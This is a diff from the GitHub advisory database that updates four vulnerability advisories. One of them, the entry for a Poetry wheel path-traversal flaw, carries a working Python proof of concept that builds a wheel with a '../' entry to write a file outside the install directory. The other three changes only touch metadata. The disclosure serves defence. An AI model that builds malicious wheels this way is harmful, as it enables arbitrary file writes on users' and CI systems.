Publish Advisories

GHSA-2599-h6xx-hpxp
GHSA-3jr7-6hqp-x679
GHSA-fc46-r95f-hq7g
GHSA-jjf9-w5vj-r6vp

Author: advisory-database[bot]

advisories/github-reviewed/2026/04/GHSA-2599-h6xx-hpxp/GHSA-2599-h6xx-hpxp.json

@@ -1,14 +1,18 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-2599-h6xx-hpxp",
-  "modified": "2026-04-06T17:25:05Z",
+  "modified": "2026-04-15T20:53:26Z",
   "published": "2026-04-01T22:17:36Z",
   "aliases": [
     "CVE-2026-34591"
   ],
   "summary": "Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write",
   "details": "### Summary\nA crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. \n\n### Impact\nArbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.\n\n### Patches\n\nVersions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.\n\n### Details\nPoetry’s wheel destination path is built by directly joining an untrusted wheel entry path:\n\nsrc/poetry/installation/wheel_installer.py:47\nsrc/poetry/installation/wheel_installer.py:59\n\nThe vulnerable sink is reachable in normal installation:\nsrc/poetry/installation/executor.py:607\n\nNo resolve() + is_relative_to() style guard is enforced before writing.\n\n### POC\n\n```\nfrom pathlib import Path\nimport tempfile, zipfile, sys\nfrom installer import install\nfrom installer.sources import WheelFile\nfrom poetry.installation.wheel_installer import WheelDestination\n\nroot = Path(tempfile.mkdtemp(prefix=\"poetry-poc-\"))\nwheel = root / \"evil-0.1-py3-none-any.whl\"\nbase = root / \"venv\" / \"lib\" / \"pythonX\" / \"site-packages\"\nfor d in [base, root/\"venv/scripts\", root/\"venv/headers\", root/\"venv/data\"]:\n    d.mkdir(parents=True, exist_ok=True)\n\nfiles = {\n    \"evil/__init__.py\": b\"\",\n    \"../../pwned.txt\": b\"owned\\n\",\n    \"evil-0.1.dist-info/WHEEL\": b\"Wheel-Version: 1.0\\nRoot-Is-Purelib: true\\nTag: py3-none-any\\n\",\n    \"evil-0.1.dist-info/METADATA\": b\"Metadata-Version: 2.1\\nName: evil\\nVersion: 0.1\\n\",\n}\nfiles[\"evil-0.1.dist-info/RECORD\"] = (\"\\n\".join([f\"{k},,\" for k in files] + [\"evil-0.1.dist-info/RECORD,,\"])+\"\\n\").encode()\n\nwith zipfile.ZipFile(wheel, \"w\") as z:\n    for k,v in files.items(): z.writestr(k,v)\n\ndest = WheelDestination(\n    {\"purelib\":str(base),\"platlib\":str(base),\"scripts\":str(root/\"venv/scripts\"),\"headers\":str(root/\"venv/headers\"),\"data\":str(root/\"venv/data\")},\n    interpreter=sys.executable, script_kind=\"posix\"\n)\nwith WheelFile.open(wheel) as src:\n    install(src, dest, {\"INSTALLER\": b\"PoC\"})\n\nout = (base / \"../../pwned.txt\").resolve()\nprint(\"outside write:\", out.exists(), out)\n```",
   "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
+    },
     {
       "type": "CVSS_V4",
       "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"

advisories/github-reviewed/2026/04/GHSA-3jr7-6hqp-x679/GHSA-3jr7-6hqp-x679.json

@@ -60,7 +60,8 @@
   "database_specific": {
     "cwe_ids": [
       "CWE-125",
-      "CWE-400"
+      "CWE-400",
+      "CWE-770"
     ],
     "severity": "HIGH",
     "github_reviewed": true,

advisories/github-reviewed/2026/04/GHSA-fc46-r95f-hq7g/GHSA-fc46-r95f-hq7g.json

@@ -1,7 +1,7 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-fc46-r95f-hq7g",
-  "modified": "2026-04-13T16:35:13Z",
+  "modified": "2026-04-15T20:52:29Z",
   "published": "2026-04-13T16:35:13Z",
   "aliases": [
     "CVE-2026-23891"
@@ -62,6 +62,10 @@
       "type": "WEB",
       "url": "https://github.com/decidim/decidim/security/advisories/GHSA-fc46-r95f-hq7g"
     },
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23891"
+    },
     {
       "type": "PACKAGE",
       "url": "https://github.com/decidim/decidim"
@@ -82,6 +86,6 @@
     "severity": "CRITICAL",
     "github_reviewed": true,
     "github_reviewed_at": "2026-04-13T16:35:13Z",
-    "nvd_published_at": null
+    "nvd_published_at": "2026-04-13T17:16:28Z"
   }
 }

advisories/github-reviewed/2026/04/GHSA-jjf9-w5vj-r6vp/GHSA-jjf9-w5vj-r6vp.json

@@ -62,7 +62,8 @@
   ],
   "database_specific": {
     "cwe_ids": [
-      "CWE-400"
+      "CWE-400",
+      "CWE-770"
     ],
     "severity": "HIGH",
     "github_reviewed": true,